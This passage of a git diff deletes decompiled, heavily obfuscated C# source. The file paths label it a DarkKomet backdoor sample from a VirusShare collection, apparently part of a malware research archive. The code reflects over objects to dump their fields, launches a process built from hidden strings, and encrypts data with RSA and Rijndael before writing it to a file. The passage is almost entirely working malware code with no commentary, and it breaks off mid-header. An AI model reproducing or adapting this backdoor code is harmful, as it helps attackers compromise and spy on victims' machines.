\u0002.\u0002\u0002(1396))) - { - ICollection collection = (ICollection) \u008A\u0003.\u007E\u0018\u0004((object) \u0002\u0003.\u007E\u0087\u0002((object) current), (object) \u0002.\u0002\u0002(1396)); - int num1 = \u0084\u0002.\u007E\u009B((object) collection); - int num2 = 0; - IEnumerator enumerator2 = \u0087\u0002.\u007E\u009A((object) collection); - try - { - while (\u008B\u0002.\u007E\u0002\u0002((object) enumerator2)) - { - object obj13 = \u008C\u0002.\u007E\u0003\u0002((object) enumerator2); - try - { - Type type = \u0086\u0002.\u007E\u0099(obj13); - ++num2; - if (num2 > 100 && num2 == num1 - 100) - { - \u0092\u0004.\u0006\u0002 obj14 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1421)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1442), num1.ToString()); - } - finally - { - if (obj14 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj14); - } - } - else - { - if (num2 > 100) - { - if (num2 <= num1 - 100) - continue; - } - int num3 = (int) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type, \u0002.\u0002\u0002(1467)), obj13); - int num4 = (int) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type, \u0002.\u0002\u0002(1480)), obj13); - int num5 = (int) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type, \u0002.\u0002\u0002(1493)), obj13); - object[] objArray1 = (object[]) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type, \u0002.\u0002\u0002(1522)), obj13); - \u0006\u0002.\u0006\u0002.\u001E\u0004 obj15 = \u0006\u0002.\u0006\u0002.\u0006\u0002(type); - if (!obj15.\u0006\u0002()) - { - \u0092\u0004.\u0006\u0002 obj16 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1535)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1467), num3.ToString()); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1493), num5.ToString()); - int num6 = this.\u0006\u0002(obj15); - if (num6 > 0) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(885), num6.ToString()); - if (num4 == -1) - goto label_92; -label_91: - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1480), num4.ToString()); -label_92: - object[] objArray2 = objArray1; - int index = 0; - if (true) - { - for (; index < objArray2.Length; ++index) - { - object obj17 = objArray2[index]; - try - { - this.\u0006\u0002(new \u001E\u0004(obj17, true), (FieldInfo) null); - } - catch - { - } - } - } - else - goto label_91; - } - finally - { - while (obj16 != null) - { - if (true) - { - \u001A\u0002.\u007E\u0004\u0002((object) obj16); - break; - } - } - } - } - } - } - catch - { - } - } - continue; - } - finally - { - if (enumerator2 is IDisposable disposable) - \u001A\u0002.\u007E\u0004\u0002((object) disposable); - } - } - else - continue; - } - catch - { - continue; - } -label_109: - if (false) - goto label_73; - else - break; - } - } - } - finally - { - if (obj12 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj12); - } - this.\u0006\u0002(); - \u0092\u0004.\u0006\u0002 obj18 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1552)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1565), this.\u0008.Count.ToString()); - for (int index = 0; index < this.\u0008.Count; ++index) - { - string str5; - try - { - do - { - str5 = \u0082\u0002.\u007E\u0095((object) this.\u0008[index]); - } - while (false); - } - catch (Exception ex) - { - str5 = \u0099\u0002.\u001D\u0002((object) '"', (object) \u0082\u0002.\u007E\u0086\u0002((object) ex), (object) '"'); - } - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(921), str5); - } - } - finally - { - if (obj18 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj18); - } - \u0092\u0004.\u0006\u0002 obj19 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1574)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1565), this.\u000F.Count.ToString()); - for (int index = 0; index < this.\u000F.Count; ++index) - { - \u0092\u0004.\u0006\u0002 obj20 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(972)); - try - { - \u0006\u0002.\u0006\u0002.\u0006\u0002 obj21 = this.\u000F[index]; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(783), obj21.\u0001); - if (\u0084\u0002.\u007E\u000E\u0002((object) obj21.\u0002) > 0) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1591), obj21.\u0002); - } - finally - { - if (obj20 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj20); - } - } - goto label_143; - } - finally - { - if (obj19 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj19); - } -label_139: - obj4 = obj3; - goto label_11; -label_138: - guid4 = guid3; - goto label_6; -label_136: - dateTime2 = dateTime1; - goto label_2; - } - finally - { - if (obj2 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj2); - } -label_143: - \u001A\u0002.\u007E\u0013((object) this.\u0006); - \u001A\u0002.\u007E\u0017((object) this.\u0006); - \u001A\u0002.\u007E\u0004\u0006((object) this.\u0011); - this.\u0012 = \u0099\u0003.\u007E\u0014\u0006((object) this.\u0011); - return this.\u0012; -label_144: - obj2 = obj1; - goto label_1; - } - - private void \u0006\u0002() - { - \u0092\u0004.\u0006\u0002 obj1 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1522)); - if (true) - goto label_85; -label_1: - \u0092\u0004.\u0006\u0002 obj2; - try - { - if (false) - goto label_74; -label_2: - int index1; - if (true) - index1 = 0; -label_74: - for (; index1 < this.\u0007.Count; ++index1) - { - if (true) - { - \u001E\u0004 obj3 = this.\u0007[index1]; - if (true) - goto label_77; -label_4: - \u001E\u0004 obj4; - object obj5 = obj4.\u0006\u0002(); - if (true) - goto label_78; -label_5: - Type type1 = obj4.\u0006\u0002(); - if (true) - goto label_79; -label_6: - \u0092\u0004.\u0006\u0002 obj6 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1604)); - if (true) - goto label_80; -label_7: - object obj7; - Type type2; - \u0092\u0004.\u0006\u0002 obj8; - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(783), index1.ToString()); - string str1 = (string) null; - try - { - str1 = \u0082\u0002.\u007E\u0095(obj7); - if (\u008E\u0002.\u0006\u0002(str1, \u0082\u0002.\u007E\u008D\u0003((object) type2))) - { - str1 = (string) null; - } - else - { - if (\u008B\u0002.\u007E\u0097\u0003((object) type2)) - { - str1 = \u008D\u0002.\u0005\u0002(type2, obj7, \u0002.\u0002\u0002(1617)); - if (true) - goto label_16; - } - else if (obj7 is Guid) - { - str1 = \u009B\u0002.\u001F\u0002(\u0002.\u0002\u0002(189), str1, \u0002.\u0002\u0002(764)); - goto label_16; - } - str1 = \u009B\u0002.\u001F\u0002(\u0002.\u0002\u0002(769), str1, \u0002.\u0002\u0002(769)); - } - } - catch - { - } -label_16: - if (str1 != null) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(774), \u0006\u0002.\u0006\u0002.\u0006\u0002(str1)); - bool flag; - object[] objArray; - int index2; - int num1; - int num2; - if (\u008B\u0002.\u007E\u009D\u0003((object) type2)) - { - this.\u0006\u0002(\u0086\u0002.\u007E\u009E\u0003((object) type2)); - if (\u008B\u0002.\u007E\u009A\u0003((object) type2)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(684), \u0002.\u0002\u0002(679)); - if (\u008B\u0002.\u007E\u009B\u0003((object) type2)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(693), \u0002.\u0002\u0002(679)); - if (\u008B\u0002.\u007E\u0099\u0003((object) type2)) - { - Array array = (Array) obj7; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(706), \u0084\u0002.\u007E\u0001\u0002((object) array).ToString()); - StringBuilder stringBuilder1 = new StringBuilder(); - for (int index3 = 0; index3 < \u0084\u0002.\u007E\u0001\u0002((object) array); ++index3) - { - if (index3 > 0) - { - StringBuilder stringBuilder2 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder1, ','); - } - StringBuilder stringBuilder3 = \u009F\u0002.\u007E\u0083\u0002((object) stringBuilder1, \u008A\u0002.\u007E\u009F((object) array, index3)); - } - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1223), \u0082\u0002.\u007E\u0095((object) stringBuilder1)); - if (\u0084\u0002.\u007E\u0001\u0002((object) array) == 1) - { - int num3 = \u0084\u0002.\u007E\u009E((object) array); - int num4 = 0; - int num5; - int num6; - while (true) - { - num5 = num4; - num6 = num3; - if (true) - { - if (num5 < num6) - { - if (num4 == 10) - { - if (num3 > 16) - num4 = num3 - 5; - } - try - { - this.\u0006\u0002(new \u001E\u0004(\u0089\u0002.\u007E\u009D((object) array, num4), false), (FieldInfo) null); - } - catch - { - } - ++num4; - } - else - goto label_74; - } - else - break; - } - num2 = num6; - num1 = num5; - goto label_52; - } - else - continue; - } - else - continue; - } - else - { - this.\u0006\u0002(type2); - if (obj4.\u0006\u0002()) - { - flag = true; - string[] strArray = \u0090\u0002.\u007E\u000F\u0002((object) \u0002.\u0002\u0002(1622), new char[1] - { - ',' - }); - int index4 = 0; - if (true) - goto label_45; -label_42: - string str2; - if (\u008E\u0002.\u0007\u0002(str2, \u0002.\u0002\u0002(1622)) && \u0093\u0002.\u007E\u0016\u0002((object) \u0082\u0002.\u007E\u008D\u0003((object) type2), str2)) - { - flag = false; - goto label_46; - } - else - ++index4; -label_45: - if (index4 < strArray.Length) - { - str2 = strArray[index4]; - goto label_42; - } -label_46: - if (true) - { - objArray = \u007F\u0003.\u007E\u0087\u0003((object) type2, true); - index2 = 0; - } - } - else - continue; - } -label_51: - num1 = index2; - num2 = objArray.Length; -label_52: - int num7 = num2; - if (num1 < num7) - { - Attribute attribute = (Attribute) objArray[index2]; - if (!\u008E\u0002.\u0007\u0002(\u0082\u0002.\u007E\u0086\u0003((object) \u0086\u0002.\u007E\u0099((object) attribute)), \u0002.\u0002\u0002(1623))) - { - flag = false; - } - else - { - ++index2; - goto label_51; - } - } - if (flag) - { - try - { - if (obj7 is IEnumerable) - { - \u0092\u0004.\u0006\u0002 obj9 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1660)); - try - { - int num8 = 0; - IEnumerator enumerator = \u0087\u0002.\u007E\u009A((object) (IEnumerable) obj7); - try - { - while (\u008B\u0002.\u007E\u0002\u0002((object) enumerator)) - { - object obj10 = \u008C\u0002.\u007E\u0003\u0002((object) enumerator); - if (num8 > 20) - { - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(1677), string.Empty); - break; - } - this.\u0006\u0002(new \u001E\u0004(obj10, false), (FieldInfo) null); - ++num8; - } - } - finally - { - if (enumerator is IDisposable disposable) - \u001A\u0002.\u007E\u0004\u0002((object) disposable); - } - } - finally - { - if (obj9 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj9); - } - } - } - catch - { - } - this.\u001E\u0004(obj4); - continue; - } - continue; - } - finally - { - if (obj8 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj8); - } -label_80: - obj8 = obj6; - goto label_7; -label_79: - type2 = type1; - goto label_6; -label_78: - obj7 = obj5; - goto label_5; -label_77: - obj4 = obj3; - goto label_4; - } - else - goto label_2; - } - return; - } - finally - { - if (obj2 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj2); - } -label_85: - obj2 = obj1; - goto label_1; - } - - private void \u001E\u0004([In] \u001E\u0004 obj0) - { - FieldInfo[] fields = obj0.\u0006\u0002().GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); - if (true) - goto label_25; -label_1: - FieldInfo[] fieldInfoArray1; - FieldInfo[] fieldInfoArray2 = fieldInfoArray1; - if (true) - goto label_26; -label_2: - if (true) - goto label_27; -label_14: - FieldInfo[] fieldInfoArray3; - int index1; - while (index1 < fieldInfoArray3.Length) - { - FieldInfo fieldInfo1 = fieldInfoArray3[index1]; - if (true) - goto label_28; -label_5: - FieldInfo fieldInfo2; - try - { - if (!\u008B\u0002.\u007E\u008A\u0005((object) fieldInfo2)) - { -label_6: - int num; - for (int index2 = \u008B\u0002.\u007E\u0088\u0005((object) fieldInfo2) ? 1 : 0; index2 != 0; index2 = num) - { - num = \u008B\u0002.\u007E\u0089\u0005((object) fieldInfo2) ? 1 : 0; - if (true) - { - if (num != 0) - { - if (false) - goto label_6; - else - goto label_13; - } - else - break; - } - } - this.\u0006\u0002(new \u001E\u0004(\u008A\u0003.\u007E\u0086\u0005((object) fieldInfo2, obj0.\u0006\u0002()), false), fieldInfo2); - } - } - catch - { - } -label_13: - int num1 = index1 + 1; - if (true) - { - index1 = num1; - continue; - } - continue; -label_28: - fieldInfo2 = fieldInfo1; - goto label_5; - } - obj0 = new \u001E\u0004(obj0.\u0006\u0002(), \u0086\u0002.\u007E\u0090\u0003((object) obj0.\u0006\u0002()), obj0.\u0006\u0002()); - if ((object) obj0.\u0006\u0002() == null) - return; - \u0092\u0004.\u0006\u0002 obj1 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(652)); - if (true) - goto label_30; -label_17: - \u0092\u0004.\u0006\u0002 obj2; - try - { - this.\u0006\u0002(\u0002.\u0002\u0002(1686)); - do - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(783), this.\u0007.Count.ToString()); - } - while (false); - } - finally - { - do - { - if (obj2 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj2); - } - while (false); - } - this.\u0007.Add(obj0); - return; -label_30: - obj2 = obj1; - goto label_17; -label_27: - index1 = 0; - goto label_14; -label_26: - fieldInfoArray3 = fieldInfoArray2; - goto label_2; -label_25: - fieldInfoArray1 = fields; - goto label_1; - } - - private void \u0006\u0002([In] Exception obj0) - { - \u0092\u0004.\u0006\u0002 obj1 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1695)); - if (true) - goto label_20; -label_1: - \u0092\u0004.\u0006\u0002 obj2; - try - { - Type type1 = obj0.GetType(); - if (true) - goto label_11; -label_2: - Type type2; - this.\u0006\u0002(type2); - string str1 = \u0002.\u0002\u0002(934); - if (true) - goto label_12; -label_3: - string str2; - try - { - str2 = \u0082\u0002.\u007E\u0086\u0002((object) obj0); - } - catch - { - } - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1708), str2); - string str3 = \u0082\u0002.\u007E\u0019\u0002((object) \u0082\u0002.\u007E\u0089\u0002((object) obj0)); - if (true) - goto label_13; -label_6: - string str4; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1721), str4); - int num1 = \u0094\u0002.\u007E\u0013\u0002((object) str4, ' '); - if (true) - goto label_14; -label_7: - int num2; - string str5 = \u0091\u0002.\u007E\u0010\u0002((object) str4, num2 + 1); - if (true) - goto label_15; -label_8: - int num3 = \u0095\u0002.\u007E\u0014\u0002((object) str4, \u0002.\u0002\u0002(1750)); - if (num3 != -1) - str4 = \u0092\u0002.\u007E\u0011\u0002((object) str4, 0, num3); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1755), str4); - this.\u0006\u0002(new \u001E\u0004((object) obj0, true)); - return; -label_15: - str4 = str5; - goto label_8; -label_14: - num2 = num1; - goto label_7; -label_13: - str4 = str3; - goto label_6; -label_12: - str2 = str1; - goto label_3; -label_11: - type2 = type1; - goto label_2; - } - catch - { - return; - } - finally - { - if (obj2 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj2); - } -label_20: - obj2 = obj1; - goto label_1; - } - - [SpecialName] - public void \u0006\u0002([In] \u0081\u0004 obj0) - { - if (false) - goto label_4; - else - goto label_10; -label_1: - if (true) - goto label_11; -label_4: - \u0081\u0004 comparand; - \u0081\u0004 obj1; - if (true) - { - if (obj1 == comparand) - return; - goto label_1; - } - else - goto label_11; -label_10: - \u0081\u0004 obj2 = this.\u0013; - if (true) - { - obj1 = obj2; - goto label_1; - } - else - goto label_1; -label_11: - \u0081\u0004 obj3 = obj1; - if (true) - comparand = obj3; - \u0081\u0004 obj4 = comparand + obj0; - if (true) - goto label_8; -label_3: - \u0081\u0004 obj5; - \u0081\u0004 obj6 = Interlocked.CompareExchange<\u0081\u0004>(ref this.\u0013, obj5, comparand); - if (true) - { - obj1 = obj6; - goto label_4; - } - else - goto label_4; -label_8: - obj5 = obj4; - goto label_3; - } - - public void \u0006\u0002([In] \u0080\u0004 obj0) - { - \u0081\u0004 obj1 = this.\u0013; - \u0081\u0004 obj2; - if (true) - obj2 = obj1; - if (obj2 == null) - return; - obj2((object) this, obj0); - } - - [SpecialName] - public void \u0006\u0002([In] EventHandler obj0) - { - if (false) - goto label_4; - else - goto label_10; -label_1: - if (true) - goto label_11; -label_4: - EventHandler comparand; - EventHandler eventHandler1; - if (true) - { - if (eventHandler1 == comparand) - return; - goto label_1; - } - else - goto label_11; -label_10: - EventHandler eventHandler2 = this.\u0014; - if (true) - { - eventHandler1 = eventHandler2; - goto label_1; - } - else - goto label_1; -label_11: - EventHandler eventHandler3 = eventHandler1; - if (true) - comparand = eventHandler3; - EventHandler eventHandler4 = comparand + obj0; - if (true) - goto label_8; -label_3: - EventHandler eventHandler5; - EventHandler eventHandler6 = Interlocked.CompareExchange(ref this.\u0014, eventHandler5, comparand); - if (true) - { - eventHandler1 = eventHandler6; - goto label_4; - } - else - goto label_4; -label_8: - eventHandler5 = eventHandler4; - goto label_3; - } - - internal void \u0092\u0004() - { - try - { - string str1; - if (true) - { - if (false) - goto label_9; -label_8: - string str2 = \u0017\u0004.\u0016\u0006(); - if (true) - str1 = str2; -label_9: - this.\u0006\u0002(str1); - if (false) - goto label_8; - } - string str3 = \u0008.\u0006\u0002.\u0006\u0002(); - if (true) - goto label_7; -label_3: - string str4; - Process process = \u0081\u0002.\u0087(\u009A\u0002.\u0017\u0006(str4, \u0002.\u0002\u0002(1764)), \u009B\u0002.\u001F\u0002(\u0002.\u0002\u0002(1789), str1, \u0002.\u0002\u0002(769))); - if (this.\u0014 == null) - return; - \u001A\u0003.\u007E\u0015\u0003((object) this.\u0014, (object) this, EventArgs.Empty); - return; -label_7: - str4 = str3; - goto label_3; - } - catch (ThreadAbortException ex) - { - } - catch (Exception ex) - { - this.\u0006\u0002(new \u0080\u0004(ex)); - } - } - - internal bool \u0006\u0002([In] string obj0) - { - try - { - byte[] numArray1 = this.\u001E\u0004(); - if (true) - goto label_11; -label_1: - byte[] numArray2; - byte[] numArray3; - try - { - do - { - byte[] numArray4 = \u0014.\u0011\u0002(numArray3); - if (true) - goto label_3; -label_2: - continue; -label_3: - numArray2 = numArray4; - goto label_2; - } - while (false); - } - catch - { - numArray2 = (byte[]) null; - } - byte[] numArray5 = \u0006\u0002.\u0008.\u0006\u0002(numArray2, \u0002.\u0002\u0002(1818)); - if (true) - goto label_12; -label_6: - FileStream fileStream1 = \u0016\u0004.\u0011\u0006(obj0); - if (true) - goto label_13; -label_7: - FileStream fileStream2; - byte[] numArray6; - if (true) - { - byte[] numArray7 = \u0004\u0004.\u007E\u0092\u0005((object) \u0003\u0004.\u0091\u0005(), \u0002.\u0002\u0002(989)); - if (true) - goto label_14; -label_9: - byte[] numArray8; - \u0013\u0004.\u007E\u0008\u0006((object) fileStream2, numArray8, 0, numArray8.Length); - \u0013\u0004.\u007E\u0008\u0006((object) fileStream2, numArray6, 0, numArray6.Length); - \u001A\u0002.\u007E\u0003\u0006((object) fileStream2); - goto label_10; -label_14: - numArray8 = numArray7; - goto label_9; - } -label_10: - return true; -label_13: - fileStream2 = fileStream1; - goto label_7; -label_12: - numArray6 = numArray5; - goto label_6; -label_11: - numArray3 = numArray1; - goto label_1; - } - catch (ThreadAbortException ex) - { - return false; - } - catch (Exception ex) - { - return false; - } - } - - private struct \u0008 - { - public readonly string \u0001; - public readonly string \u0002; - public readonly string \u0003; - public readonly int \u0004; - } - - private struct \u0006\u0002 - { - public readonly string \u0001; - public readonly string \u0002; - - public \u0006\u0002([In] string obj0, [In] string obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - } - } - - private struct \u001E\u0004 - { - public string \u0001; - public \u0006\u0002.\u0006\u0002.\u0006\u0002 \u0002; - - [SpecialName] - public bool \u0006\u0002() => this.\u0001.Length == 0; - - [SpecialName] - public static \u0006\u0002.\u0006\u0002.\u001E\u0004 \u0006\u0002() => new \u0006\u0002.\u0006\u0002.\u001E\u0004(string.Empty, string.Empty, string.Empty); - - private \u001E\u0004([In] string obj0, [In] string obj1, [In] string obj2) - { - this.\u0001 = obj0; - this.\u0002 = new \u0006\u0002.\u0006\u0002.\u0006\u0002(obj1, obj2); - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0008.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0008.cs deleted file mode 100644 index 953fa483..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_0008.cs +++ /dev/null @@ -1,147 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u0006\u0002; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0006\u0002 -{ - internal class \u0008 - { - public static string \u0001; - - public static byte[] \u0006\u0002([In] byte[] obj0, [In] string obj1) - { - if (obj1.StartsWith(\u0002.\u0002\u0002(189))) - { - \u0008.\u0001 = \u0002.\u0002\u0002(194); - return (byte[]) null; - } - if (true) - goto label_31; -label_3: - if (true) - goto label_32; -label_4: - MemoryStream memoryStream; - do - { - if (true) - goto label_33; -label_5: - continue; -label_33: - memoryStream = (MemoryStream) null; - goto label_5; - } - while (false); - if (true) - goto label_34; -label_7: - RSACryptoServiceProvider cryptoServiceProvider1; - RijndaelManaged rijndaelManaged1; - CryptoStream cryptoStream; - try - { - if (true) - goto label_18; -label_15: - \u001A\u0002.\u007E\u0087\u0006((object) cryptoStream); - return \u0099\u0003.\u007E\u0014\u0006((object) memoryStream); -label_18: - RijndaelManaged rijndaelManaged2 = new RijndaelManaged(); - if (true) - goto label_16; -label_8: - RSACryptoServiceProvider cryptoServiceProvider2 = new RSACryptoServiceProvider(); - if (true) - goto label_17; -label_9: - \u001B\u0002.\u007E\u0084\u0006((object) cryptoServiceProvider1, obj1); - \u001A\u0002.\u007E\u008C\u0006((object) rijndaelManaged1); - \u001A\u0002.\u007E\u008D\u0006((object) rijndaelManaged1); - byte[] numArray1 = new byte[48]; - \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 0, 32); - \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 32, 16); - memoryStream = new MemoryStream(); - try - { - byte[] numArray2 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray1, false); - \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 1); - \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray2.Length / 8)); - \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray2, 0, numArray2.Length); - } - catch (CryptographicException ex1) - { - try - { - byte[] numArray3 = new byte[16]; - byte[] numArray4 = new byte[16]; - \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray3, 0, 16); - \u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 16, (Array) numArray4, 0, 16); - byte[] numArray5 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray3, false); - byte[] numArray6 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray4, false); - byte[] numArray7 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), false); - \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 2); - \u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray5.Length / 8)); - \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray5, 0, numArray5.Length); - \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray6, 0, numArray6.Length); - \u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray7, 0, numArray7.Length); - } - catch (CryptographicException ex2) - { - \u0008.\u0001 = \u0002.\u0002\u0002(287); - return (byte[]) null; - } - } - cryptoStream = new CryptoStream((Stream) memoryStream, \u001F\u0004.\u007E\u008B\u0006((object) rijndaelManaged1), CryptoStreamMode.Write); - \u0013\u0004.\u007E\u0008\u0006((object) cryptoStream, obj0, 0, obj0.Length); - goto label_15; -label_17: - cryptoServiceProvider1 = cryptoServiceProvider2; - goto label_9; -label_16: - rijndaelManaged1 = rijndaelManaged2; - goto label_8; - } - catch (Exception ex) - { - \u0008.\u0001 = \u009A\u0002.\u001E\u0002(\u0002.\u0002\u0002(493), \u0082\u0002.\u007E\u0086\u0002((object) ex)); - return (byte[]) null; - } - finally - { - if (rijndaelManaged1 != null) - \u001A\u0002.\u007E\u0088\u0006((object) rijndaelManaged1); - if (cryptoServiceProvider1 != null) - \u001A\u0002.\u007E\u0083\u0006((object) cryptoServiceProvider1); - if (true) - { - if (memoryStream != null) - \u001A\u0002.\u007E\u0003\u0006((object) memoryStream); - if (cryptoStream == null) - goto label_30; - } - if (true) - \u001A\u0002.\u007E\u0003\u0006((object) cryptoStream); -label_30:; - } -label_34: - cryptoStream = (CryptoStream) null; - goto label_7; -label_32: - cryptoServiceProvider1 = (RSACryptoServiceProvider) null; - goto label_4; -label_31: - rijndaelManaged1 = (RijndaelManaged) null; - goto label_3; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_001E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_001E_0004.cs deleted file mode 100644 index e0d3b3b2..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0002/_001E_0004.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0006\u0002 -{ - internal class \u001E\u0004 - { - private readonly Type \u0001; - private readonly object \u0002; - private readonly bool \u0003; - - public \u001E\u0004([In] object obj0, [In] bool obj1) - : this(obj0, obj0?.GetType(), obj1) - { - } - - public \u001E\u0004([In] object obj0, [In] Type obj1, [In] bool obj2) - { - this.\u0002 = obj0; - this.\u0001 = obj1; - this.\u0003 = obj2; - } - - [SpecialName] - public bool \u0006\u0002() => this.\u0003; - - public object \u0006\u0002() => this.\u0002; - - public Type \u0006\u0002() => this.\u0001; - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0003.cs deleted file mode 100644 index 5f34ffaa..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0006_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 